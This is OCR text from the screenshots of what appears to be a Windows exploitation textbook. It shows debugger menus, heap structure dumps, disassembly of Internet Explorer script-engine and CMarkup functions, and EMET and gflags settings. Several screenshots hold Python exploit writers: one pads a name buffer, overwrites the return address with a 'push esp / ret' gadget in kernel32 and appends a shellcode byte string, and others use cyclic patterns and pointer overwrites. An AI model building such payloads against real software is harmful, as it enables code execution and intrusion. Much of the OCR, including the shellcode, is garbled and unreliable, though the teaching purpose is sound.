WEV)  VAssistX IBRO)

curlss

CirlsShift+S

)
®
k]
B

HIM)  TEM  HEEm

REE)..
FEEW)

ENEM

TR

WIS BAEREE).

W) BN
Ctrl4Shift N
Shift+AltsN

ctrsN

3





OEBPS/Images/ch13_1_image023.jpg





OEBPS/Images/ch13_1_image066.jpg
Jx6E = Drintf

—Laraeilios:





OEBPS/Images/ch4_image007.jpg
LidLL)_HEAR

000
M
+0x00c

10x01c
s 2
Hs024
HIR0ZE L

M
0D
e
i
+0%075
skl
st
pe
s
+0x050
e
Salis
+0%0ED
sl
5068
HIxEc
a7y
+0x071
02078
B}
+0%05
P
HIs08
P
i
+0x08c
02080
P
+0%09c
e
5028
HIROE0
<04
+0x0BE
+0z0be
i

+osct F

Zhxtce
+5040
{hnias B
M
+0x0d=
e
#0=L30

ZuentFlags
SementiistEntey  _LISTENTRY | 0édilsd — Ozséiies |
Hep D=00RE000D _HERP

Basedddress CNERNNNN Tead

{inbexGt Pagss =)

0=D0GE0588 _HEAR_ENTRY
00760000 _REAF_ERTRY
Henbez O liConn  * tedPoges e

WiinberOf fnConns ttdRanges 1

S=qnenvaliocstarBack Tracelndes (|

Ressrved [

UCRS=gmentList _LIST_ENTRY | OzbSdEt0 — DxeSaitD |
AN B2

ForceFlass 0=40000050

CompatibsliigFlags 01

Erceel | aglesk xlonoun

Encodana _KEAF_ENTRY

Eointeriey 7

Interospior

TivtuallencryThreshold  Deteln
Uxesifesii

100000

=000

D= i FresBleh Tireshicld  ox200

DeCon tTote[FresTheeshold — 0x2000

icnSize | DuTEEHEEEE
Pemeeatfie e S o © 1
besdesy=lidetelengeh  Uxl
HeaderVelid=teCopy  (mill)

Nextave lebicTealndex 0
SwoiecTndes O

TagEntzies (11

= CITSTENTRY | Oméddfet — Oxéddted |

AlignRoune =S8

Alaguback DREEEEEEES
FuslhlloosBloo STCENTRY | Usef=l) — UxeAIL
neutList _LIST_ERTRY | 02680010 - 02630010 |

AllocstorBackTracelndex 0

linTi=dicstedlsst mnsth . 0

ElocksIndex Gx00680150 Yoid

UCRIndsz D=0lIBIEE Ford

PecudcTagbuteizs  (null)

_LIST _ENTRY | Ozbhsesh — Dz6S0d20. |

NRFILZE _BEAP_LOCK
g Tauz  +7EOe1c8D

FrontEndiiespType
TuningPerewstmrs  _HEAP TUNING PARSHETERS






OEBPS/Images/ch8_image024.jpg





OEBPS/Images/ch13_4_image007.jpg
3 Mitributes: tp-nased frane

: int _thiscall SeriptEngine::Cancreate0bject(ScriptEngine xthis, const struct GUID )
[?GanCreateonject@scriptEngine@aQAENNY_GU1DGES2 proc near

lvar_s= byte ptr -5

|obfeet= dvora per 4

jara_o= avord per
lbou eai, eai
lpush ebp’
bov  enp, esp
bush  ecx
push  ecx

= push  edi

B pou  edi, eax

byte ptr [eatetEnn], §
Short loc_106FuAsE

T TStruct TinternetiiostSecuritytanager =
[Fall  7hetsiteNostsecurityNanagerNaRef@ScriptEngineaa] AE JPAPAUTInternethostSecur LyNanageraaz « Scrly(Fgtne: -Gets
ltest  eax, eax

Short loc_100F4ASD

EHUSESPEUPL yHanager HOREF (TN et oSt Secur tyhanager + )]

eax, [obp

lpov  ecx, [eax]
push o
lpush

bush 10n
jpush  [ebprarg_o]
lea  edx, [ebpro.
bush &

push  eax

ush  1zamn

push  eax

Call  dword ptr [ecxs1n]
ltest  eax, eax
Short loc_180FARSD

¥ vy ¥
P = i)
test  Tobproar
pan 0 1oc_maeaaso: 1uc_tomraass
o e o e, eax oo eax
et o fmp  short doc_tuscansa e e
einreatenn ecteser iptEnginsceuncinm_Gutoamz vadp| i short 1oc 1u0punsa

[10c_1noruasa:
pop  eai
Leave

retn






OEBPS/Images/ch11_image009.jpg





OEBPS/Images/ch12_image044.jpg





OEBPS/Images/ch13_2_image007.jpg





OEBPS/Images/ch13_5_image010.jpg
Frogran Segnentation [ | [O] Hex Viewt [ | [A] Structwss [ [} Tperts [ Ewports [ |

End R W X D L Aign Class  AD es s ds fs g

63581000 641CB000 By, X L 0000 0002  FFFFFFFF FFFFFFFF
641CB000 641CBIF0 R oW L para 0002 public DATA 32 0000 0002  FEFFFFFE FFFFFFE
641CBIFD 641ED000 R oW L para 0002 public DATA 32 0000 0002  FEFFFFFE FFFFFFE
idata | EEMHE 641ED000 641EDE14. R W L para 0003  public  DATA 32 0000 0002  FFFFFFFF FFFFFFFF
s 64173000 64174000 RoW L para 0004 public  BSS 32 0000 0002  FEFFFFE FFFFFFFE





OEBPS/Images/ch14_2_image008.jpg
Eatipraar_aN], 8.
stort 10c_10961918

eax, [ebproar_10]
ecx

nou  ecx, [eaxs2un]
[ca11 27l eaveScriptEndasasathreadtont ext GRUAERPAXGZ ; Threadbontext:<LeaveScriptEnd<T> (uoid =)

Loc_1008191n:
ca1l el tugd
retn  ian

76a111nuokeEx@HoS D1 spat ch@AAREJJGPAU LD I SPPARANSEAPAULagUAR I ANTAAPAULaQEXCER INFOGEG2 endp)






OEBPS/Images/ch7_image010.jpg
A
Sia Taported Imci6 ) SeRDNIGH BHRELINY
-

e

By

Tors sheciotdcy o ,q:m,-.-u Filhat wagsbrEions adisirsdend
LT S

Bl aﬂm:s"gf_ £ R L S A

53] mee(h3sTEA






OEBPS/Images/ch12_image001.jpg
8 Enhanced Mitgation Experience Tookic - =

- S— & @ ] Quick Profie Name: ¥ Windows Event Lag @

i o it |Recommended secu. I Tray Icon i

i crd Apps Trst - = = o

B Bpot i Skn: Offce 2013 - lEsty Waming el
File Configu? System Settings Reporting Info &

System Status

Data Execution Prevention (O Appiication Opt In

[

Structured Excaption Handler|

Address Spaca Layout Rando Appiication Opt In

Certificate Trust (Pinning) Enabled
Running Processes
|Process T [Process Name «|Running EMET [~
3184 audiodg
3088 chrome - Google Chrome
5012 chrome - Google Chrome:
4144 chrome - Google Chrome
6120 chrome - Google Chrome:
3540 chrome - Google Chrome:
5508 chrome - Google Chrome
2368 conhost - EMABOEN
6528 conhost - {ZHIEBOEN,
480 csrss - Client Server Runtime Process
428 csrss - Client Server Runtime Process
3960 devenv - Microsoft Visual Studio 2013
1800 dwm - SEECIEEE
2188 EMET_Agent - EMET Agent
6236 EMET_GUL-EMET_GU
5228 EMET Servce - EMET Servce o






OEBPS/Images/ch1_image017.jpg
[ WinDog'6:12 0067633 A}

[File] Edit View Debug Window Help

Open Source fil clo FOEOEE00E

Close Current Window Curl+Fa

[
6
curl+D

Open Executable

Attach to a Process.

Open Crash Dump.

Connect to Remote Session, R

Connect to Remote Stub.
Kernel Debug ctrl+k

curlss

Symbol File Path
Source File Path culsp
Image File Path Crlet

Open Workspace. Culsw
Save Workspace
Save Workspace As.
Clear Workspace.
Delete Workspaces
|| cemwerksecein e,

Save Workspace to File.

Map Network Drive.
Disconnect Network Drive.

[ il v

-~ epa 00 Thrd 0000 NUM






OEBPS/Images/ch12_image020.jpg





OEBPS/Images/ch13_5_image006.jpg
[

o (Bt [ogomed]  _Lawen|

T~ Stopen excopion ™ Disae stack etansion
™ Stow foador sns

[~ Enatie heap il chocking I~ Enabe sys
I~ Enabe heap foe checking ™ Disaie fap

T~ Enabie nasp pramter
T Erabe heap aidtion on ca _r——

T~ Enable application verdier [HPATfiag ]
=

I Eaty crtict socton evnt crestion
™ Stop o user mode sxcopon

[ Enatie hoap tagaing by OLL [ Disae peotocted DLL vrfcation
T lgnore asserts

™ Load imago using lage pages  possite

I~ Debugger

I~ Stack Backtace: (Megs)

[oc ] coms | mow






OEBPS/Images/ch14_2_image012.jpg
el@=]

1| £] cAUsers\gandaifDeskiop\spt O ~ 01 2 IE Case Study - STEPL

ind in fi

aler B 4+ by
162 tStream.Close(); A =
BJ 163 bStrean. Close(); > @ fexception] Object doesn' support propertys.
164 return 1; 4 [Locals]
s 165 )3 b @ this [object DispHTMLWindow2]
= » @ arguments fobject (Arguments]] v
= 167 function decode(b64Data) { ot VI ARAIAMAACAMAALTAALS.
168 var data = window. atob(b6aData); | Calistack  Breakpoints
M E do B e frame
et o decade sprayhtm}; 168
178 // Now data is Like
1 // 110012004560 50 60 ... oo SoraybTI; 128
(O] 172 // rather than Like o
173 // 1112 45586 ...

v 174 // Let's fix thisl






OEBPS/Images/ch12_image063.jpg
B NiProtectVintualMemory





OEBPS/Images/ch13_1_image079.jpg





OEBPS/Images/ch13_1_image036.jpg
(1415048
41ands
WARNTNG
0412520
04ishthd
11so104
(4150

PopdzngScript
ot Text Comarindad
=Sor:pt Toxt 40Eh

ptEngins
ot Englne

VEnzins  Bs:
syemerntRokder

SEEQEIEE
fEAdn
b
EnEaiiee

HSHTHL
HEHTI
MEHTHE

Fuzent

OnTunCls
Chwnchan  Cdist o
Gloha L indonMe ot
& NSHTIL | Globs 1 PndProstixad
users:| Inerneice . VinProcs(z:

1ba:
1i30xi

40508






OEBPS/Images/ch13_3_image006.jpg





OEBPS/Images/ch7_image006.jpg
0005

000!






OEBPS/Images/ch13_4_image011.jpg
FiE]

© Mttributes: bp-based frane

ECanCreateObject,
HEHCTRLXEFIEHS
ATHMN

: int _thiscall ScriptEngine::CanCreateObject(ScriptEngine xthis, const struct GUID x)
[?CantreateonjectascriptEngine@aAcnu_GU10GEa2 proc near

Joar_s= byte prr -5
Jobfece= duord prr 1
jarg_b= dvora ptr

o e, e
£ s eop
EDbiE FEAX o
ush eox
push  eox
S uan__eot
m T
i eet yte pEv [edi+1Ean], &
Uz short loc_180FUASS.
¥
PIE]
Tea e, Tebpeoniert]
posh  eme
a1 SErTEE (e £SO CeNOSTSecur LyNanagerHRBF T TnternetastSeci (tyhanager » =)
fest ‘eaw, eax
je Short ioc_

o, [ebproject]
o ecx, eax]
pusn 0
S wih
TR T A T e
+objectEBdi+ push  [ebpeara o)
Ebprobjed EiRdi¥utin] lea  edx, [ebpovsr_a]
pusn
push  eax
push 100
push  eax
cal1  aword ptr [ecxeton]
test  eax, eax
Short Loc_1usEnns

¥ vy |
PIE] = } W= }
frest  Tempraar 31 07
lpush toc._tooruaso: oc_1aoranss:
bopeax areax, eax or~ eax, eax
etz a1 i short loc_tosruesa fineeax
Cancreatonh jectaer iptEng neanacan_cutomz endp| |jmp__ short 1oc_10scansa

oc_toorunsa:
pop eai
Leave

retn






OEBPS/Images/ch6_image005.jpg
00ck1000, £20821chi0 push ociisel Binkis) strigg’ (00eb2108)
005 816000000 1l BinX86iprintf (00chi020)






OEBPS/Images/ch13_1_image064.jpg





OEBPS/Images/ch1_image051.jpg





OEBPS/Images/ch12_image037.jpg





OEBPS/Images/ch6_image013.jpg
PR==—1

Bl w2 essomes VialCer X VisualCir
ol 1 LtE TR Win32 BSlSTRRSNRE
» Visual C# Win32 I8 ooy

© Visual Basic
4 Visual Ct+
ATL
ar
=4
MFC
=
Win32
=vs
Extensibility
© Visual £
SQL Server
b TypeSeript
Python.
© JavaScript
B





OEBPS/Images/ch14_2_image013.jpg
@ Cummstmrin 5 - 0| BEcomsr






OEBPS/Images/ch11_image016.jpg
REE) FEH)






OEBPS/Images/ch13_4_image027.jpg





OEBPS/Images/ch13_1_image072.jpg
1R

ArrayBuffer (M) B—MATEEM. BIERE
3% ArrayBuffer GIRE, TR RIR— A
P, (REILA L 15

RS . TREEBTEHE
FRR AR FATRSRE






OEBPS/Images/ch1_image019.jpg





OEBPS/Images/ch13_2_image008.jpg
S ns2Amey






OEBPS/Images/ch1_image025.jpg





OEBPS/Images/ch13_1_image038.jpg





OEBPS/Images/ch1_image068.jpg
== 0000000000000000
a==0000000000000000
ep=00000000E 2 1bd3ic
£5-000000000635 302
+11-00000000000000€5

= LL=0000000DUB0BUDDD
av up
033 ss=n0ab s

ke inMain
DDDDDODD EElbdIle se

AOOO0OOOG0O0KO00 c=<=0H000000E2 40000

=1-00000000000DUODD +d1=D000DDODDDIESE0E.

rep=0000000001253E233 £pp=0000000000000000

5 00000000= = L0=00; 1

+12-00000000¢ £203498 =13=0000000000000000
0000000000000000

Ss=URiE ©

083 gs=p0n
Lat 3

St 1=00000246





OEBPS/Images/ch4_image020.jpg





OEBPS/Images/ch10_image003.jpg





OEBPS/Images/ch7_image026.jpg
0770t 74t push esp ¥ =t | [(PAGE_EXECUTE_READ) [kernel82 ai)] ASIR True Rebsse Fales GefeSEH True 0S5 True we § 7o0f 16385 (C \Windowsisysten32 kernsl32 i),






OEBPS/Images/ch13_5_image005.jpg
System Registry | Kemel Flags | Image File | Silent Process Ext|
Image: (TAB to refresh) — Launch

[~ Stop on exception [~ Disable stack extension
[~ Show loader snaps

[~ Enable heap tail checking [~ Enable systi
[~ Enable heap free checking [~ Disable heap':

[~ Enable heap parameter checking
[ Enable heap validation on call | UST flag

[~ Enable application verifier

e exception logging

HPA fla
e —t—

I

[V Create user mode stack trace database| [ Early crtical section event creation

[~ Stop on user mode exception

[~ Enable heap tagging by DLL [~ Disable protected DLL verification
[ Ignore asserts

I Load image using large pages if possible

[~ Debugger

[~ Stack Backtrace (Megs;






OEBPS/Images/ch9_image017.jpg
BHERER

EEESTENENER
' aEEES Windows f&Z
® wiin =
& ERE .
‘S» HALE [ [ Ftametp [m |

ERTASHER 8
R
MRS ABEHE] PITFHER. LURELIATE

HEAEBRER -

AFEELH
EEREANRERE

EER AR E
FHEH . RGRRETES

o] AT (DEF) .
14 ERELERE S
© {RABE indows 1EFHIRRS B DEF 1)

AT A R 12 )

i

i a il &1
HABE TP 1o

Ganes






OEBPS/Images/ch13_1_image021.jpg





OEBPS/Images/ch8_image004.jpg
a9
{@p1101000 gush e
01101001 mov ebpesp
1501002 s eep20n

8 char name{32};

S printfCEnter your name and press ENTER\n");
101101006 push 1102108h
01101008 call  prt 0116103000

10: scanf("%s", name);

101010 fes  exinamei
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[0c0at 320 00000000 00000000 0000000 00000000 00000000 00000000 00000000 00000000
0CDaE 340 00000000 0000DODD 0000000 00000000 000DODD0 00UO00DD 0O0DODOD D00DDOOD
o0at360 50000000 0009000 0000000 50000000 00000000 00UG00DT DI00D0C 0000000D
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Fle Edt Format Run  Windows
itk open(tar\\name.dezt, ') es

zet_eip = Naaf\xeTixesiarT 4 “pash esp / res® in kemelsz.dln

snsTicode = (-)\xed\ues\kE£\nee\xeriXsO LSS\ RES\RL L\ KOS\ RD2\ 22D O LS REVNKEI\ 40T
L0 \KE2\KE3\ 5T N3 L KA XS AT\ ICAROT\KOL ki \ w2\ ™o
\EeI T8 XSS AL xe <\ XES | e KOCARS XTI VIR E VR KB\ KT R0 S 0o
P\ESSARCIAXG2\ X021 XDI\xeD\ RS I LTS LRAB LB KEEL XSS REBAAGI\ XOTA0I 4
TUNEB LD XET\ X5 XEH X6 | K61 |XECIXES | XES | 0T B AT LKL ST\ e
RS2 RS X TH KBS AT e XS\ KE\RET | £2 LT\ RN\ K07 x££
MEBEANTI X0\ XA HE KB\ 54\ xS\ k42 e KLDAKET \ xea X0 NI
\HEI KO£\ b X0 1NT A0S\ KET K S\ K20 VL0 ) 2D KA1 38\ K01 X2 20 s
T\RTS e 480 | X2\ =L 0 ke AR k2L LES R e\ RS2 xem xE4 23S0
UXSE1 ST RS\ X4\ HE kb ke |X0\XOZ 32\ KET BT XAT HEO\ IR RAS Mo
#\RES KB K40\ XOCAREE AT\ 14\ XEDAXE X33\ 48 \ ke KB\ Xt x2% AT
\MEL\ L A2\ XEBA RS ) B2\ IO\ RV K KOS\ T4 AN S RS B8\ K2R
VSR TE RS R T4 S\ KO x5 33\ O R0T ke e\ SELKEE RS
SREEUREE\XED XS\ RER 20\ KET | XASAKE L HTI | o\ RIS\ KEE KBI\ xAB L) 44
SLAESREE) K2\ X3 AT L2\ KA KE TR ROE\ T\ AS KA\ KBTI
TREZ LT XS\ X3 XA LKES | KS3\ KT KT X7 | 1LV BB R4B KT\ REB A
ARETAT) XS XA X\ 230 b\ XET\ KL\ X3 R I Ko\ TE 9=
"LE33 ST RS E X80 X5 RSB\ e\ XBALX03 | K8B\ x40l KECAKSD K44\ 3T 24
\AED4 145 XOTU BT XG0 KB 1233 ) 1A KBNS KB XIBV DL e
RS2\ xod xek| gt}

name = ‘21436 + rec_eip + shellcede

2.write(neme)
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322 write file(lsb
with open(z'c:\name.das', ‘wb') as fi
name = '2'%32 + chx(lsb)

£.write (name)

write file(0x20)
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nou
push
nou
and
sub
nou
xor
nou
nou
nou
push
push
nou
nou
push
xor
and
nou
nou
nou
nou
ca11
1ea
ca11
nou
and
cop
iz

iz

; public: virtual long _thiscall CHarkup::OnCssChange(enun
20nCssChangeRCHar kup@RUAE JAEONCSSChangeR@@z proc near

test

; Attributes: bp-based frame

byte ptr -20h
duord ptr -2ch
byte ptr -28h
duord ptr -20n
duord ptr -1ch
duord ptr -18h
duord ptr -1uh
duord ptr -16n

var G- duord per -och
k- dword ptr -
arg0- dword ptr 8

5 FUNCTION CHUNK AT 639235E3 SIZE 00808012 BYTES
: FUNCTION CHUNK AT 63958068 SIZE 08000069 BYTES
; FUNCTION CHUNK AT 639720D1 SIZE 0000000C BYTES
FUNCTION CHUNK AT 63974D3D SIZE 00000034 BYTES
3 FUNCTION CHUNK AT 63D58ABC SIZE 999998084 BYTES

edi, edi
ebp

ebp, esp

esp, OFFFFFFFEh

esp, 34h

eax, ds:__security_cookie
eax, esp

[esp+ashsvar_b], eax

edx, ds:__tls_index

eax, large fs:2ch

ebx

esi

esi, ecx

eax, [eaxvedsxh]

edi

edi, edi

byte ptr [esi+1A8h], OFER
ebx, edi

eax, [eax+h]

ecx, [eax+120n] ; this
[ecx+10n], edi

?InvalidateAtonCache@CProbableRules@@QAEXXZ ; CProbableRules::InualidatedtonCache(uoid)

ecx, [esir38Ch] ; this

7C1earFornatLookupTable@CFornatReuseLookup@EQAERKZ ; CFornatReuselooku

eax, [ebp+arg_0]
eax, 3

a1, 3
loc_63972001

EOnCssChange)

ClearFornatLookupTable(vaid)

[ebprarg_0], 1
short loc_836EFC1E

inz

call  7ProcessPeerTask@CHarkup@RQAEJUMPEERTASKEGAZ ; .

loc_636EFC18:
nou ebx, eax
test  ebx, ebx
short loc_636EFCSD)

noy
ca11
imp

1oc_639720D

== =
push oA 3 START OF FUNCTION CHUNK FOR 70nCssChange@CHarkupERUAEJUAEONCSSChange@sz
nou ecx, esi

7ReconputePeers@CHarkupEEQAEJXZ
loc_636EFC18
END OF FURCTION CHUNK FOR ?0nCssChange@CHarkup@RUAEJYAEONCSSChangeRa@z

3 CHarkup::ReconputePeers(void)

ecx, esi
e

5 this (esi con
afppanag

<UpBCHarkup@REQAEHXZ ; (=== CRASH INSIDI
ﬁ?*fkﬁ :gu«?%%@gx LR O

d)

=¥

=

jmp

1oc_639235E3:
noy

START OF FUNCTION CHUNK FOR 70nCssChange@CHarkup@RUAEJWAEONCSSChangemaaz

eax, [esp+hbh+var_20]

loc 636EFC31

W=

1oc_636EFCa1:
test  [ebpsarg 0], 4|
jnz_ loc_63058ABC

MEIE]
test  eax, eax
iz loc_ 63974D4C
T
[
=

aCHarkupEEUAEJYAEINCSSChange@aaz

8], 8
3068

AA_MAZ ; CMarkup::HandlependingFontWappinginvalidation(bool,bool &

v

AEJ_NEZ : Cifarkup:

79:
i, [esi+0aun]
x, edi
%, eax
ort loc_636EFCSS

[eax+0Ch] ; this

ForceRelayout(bool)

push  ecx

nov  edx, offset aRequest
lea  ecx, [esprhbhruar 28]
call  7DDT_ATOMUGYG?AUDGCAtoM@GPBDGZ : DDT_ATON(char const <)

nou  ecx, esi ; this
nou [esp+udnsvar_20], edi
nou [esp+46hsvar_1C], 0C0031900h

call  7Ro0tECHarkupERIBEPAUCROOTELenent@RXZ ; Clarkup::Root(uoid)

nou  [espshthevar 18], eax
lea  eax, [esprudisvar 28]
push  eax

push  ecx
push  20n

nov  [espssOhevar_14], edx

nou  ecx, offset _HSHTHL_DDTRACKER_INFO
pop  edx

nou  [espraChevar_10], edi

[esp+aCh+uar C1, 8COBLO201h
_Template hb@20 ; Template hb(x,x.x.x.x)

Request

v
ZIE] =]
i : START OF FUNCTION CHUNK FOR 70nCssChange@CHarkup@RUAEJuAE
teache(void)| |loc_63D58B52:
ache@GDoCERQAEXKZ push  1on 10c_sapssaBe:

push  edx " lea”  eax, [esp+hOhsvar 2D

dd ecx, 638h  ; ecx controlled! = G " —— - - — nou ecx, esi 5 this

ca ‘2Add1nvalidation]askECUiew@RQAEIPAVCT eeNode@aNInualidat ionType@2a@z ; CUiew::AddlnualidationTask(CTreetose =, CTreehoses: inualisationType)| | [push  eax : bool x

imp__ loc_636EFCED _ _ push  edi ; bool
call  ?InvalidateFontMapping@CHarkup@@QAEJ_NAR_NGZ : Cilar
nou  ebx, eax
jmp loc_636EFCSD

e

=]

1oc_63058865
mou  eax, [ecx]

push  ecx

call  dword ptr [eax+16n]
jmp  loc_s36EFcAs

END OF FUNCTION CHUNK FOR 70nCssChange@CHarkup@RUAEJYAEINCSSChange@aa?






OEBPS/Images/ch13_1_image009.jpg
g BBV #RH)
- TR

BREE

Ghrome. exe 42
chrome, axe 2
chrome, sxe 42
chrome ase *2
e

wplorer exe
fusplore exe
fexplora exe ¥52
natepadtt, exe 222

Snagh thditor. axe 432
Snaeteiv. e 132

[ SurmERrmeEs |

e 69 CoU WEE 7%

[e8 _[RE |
m mRs
= Ml
e Mol
25 Helen
G el
-
s e
o2 Nl
s e
8 Ha
w0 Kol
060
W Wl
s Kl
WA 65%

18858888888888 3

1

X
2,664 &
18,002 &
152,50 &
3620 K
1z
S0 K
5,500 X

0,00 K
w2k
6,52 X
29,080 K

1748 K

fit =
Gosgle Chroms
Gongle Chrome
Gosgle Chrome
Govele Chreme

AEBORER
Windors HHEEZ
Taterset Explorer
Tatersnet Explorer
Notapadts © & fras
Suagit

Saagit Bditor
Snagit B Helper






OEBPS/Images/ch1_image030.jpg
Ln3,Col1 NUM





OEBPS/Images/ch6_image027.jpg
AddressOfNames AddressOfNameOrdinals AddressOfFunctions
name_of funci = ordinal_of_funct > address_of func3
name_of funcz = _ordinal_of_func2 ~ address_of funct
name_of func3 > ordinal_of_func — »! address_of func2






OEBPS/Images/ch14_1_image014.jpg
Systom gty Komel Fiags [I7ag8 e | siantprocess x|

image MBtoekesh)  [inpioe wue]
I Stop on exception
T Showloader snaps

[ Enable hesp il checking
[ Enatie hoap fes chocking
[ Enabls hosp parameter ch
[~ Enabie hosp saidation o

™ Enable applcaton verfer

™ Enabe heap tagaing by DLL

I Load mags using large pages  possitle
I~ Detugger
™ Stack Backurac (Megs)

™ Disabs stack extonsion

I Enable system crtica breaks
™ Disatie heap coalesce on fme.

Enatie exception fogaing

[ Eafy criat section svnt creation
™ Stop on user mode excoption

I~ Disatie protected OLL vrfcation
I ignore asses.






OEBPS/Images/ch13_1_image050.jpg





OEBPS/Images/ch7_image005.jpg





OEBPS/Images/ch10_image024.jpg
lgading: nama fron. £ild..
i, aaasasasassasasasaasasaaaaaaaaaaf?t
Bx6cd03071 Bx808c28dd Bx6cdB2fd9 DxDOB0ANNS Bx6odSeB6H Bx@ROAABOh 0xO17FES4 Dx00B0B0211
o you want to read the name again? [y/nl






OEBPS/Images/ch1_image073.jpg





OEBPS/Images/ch14_1_image021.jpg
NgiH m

;






OEBPS/Images/ch13_4_image012.jpg





OEBPS/Images/ch13_1_image016.jpg
B¢ (MEFAEOREO08]|

1££d0

Ox1250% =555

F9/ <+ 0x10(aTH

1760 Thrd C






OEBPS/Images/ch10_image017.jpg
File Edit Format Run Options Windows Help

struce

mpar

open(ztc:\nams.daz', ‘wb') 3= It
readable = struct.pack('<I', 0x76320000)
pattern = ('BaORalRadhaiiashashasia’ashacAhORbIAE2RBIAE' +

' 43D5ADAALTEDSRDSAS0RC] Ro2he SAo4RoS Ao GRS T ACSRCIRATRAIRAZE )
name = '2'#32 + readable + pattern
£.wrice (name)






OEBPS/Images/ch1_image003.jpg





OEBPS/Images/ch13_3_image035.jpg





OEBPS/Images/ch1_image046.jpg
UODODTEL L7000

< 060007 7000





OEBPS/Images/ch13_1_image043.jpg
SHASHEGE [HEEEOEE00

mmand

NUM





OEBPS/Images/ch12_image043.jpg
dd





OEBPS/Images/ch13_1_image086.jpg





OEBPS/Images/ch1_image067.jpg





OEBPS/Images/ch1_image024.jpg
- WinDbg:6.12

B¢ | UEFEEDREOOEE A






OEBPS/Images/ch10_image030.jpg
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2% write file(ptz):
“ith Open(r'c:i\name.dat', 'Wb') as £:
name = '2'*32 + struct.pack('<I', ptz)
£.urite (name)

write file(0x010c2120)
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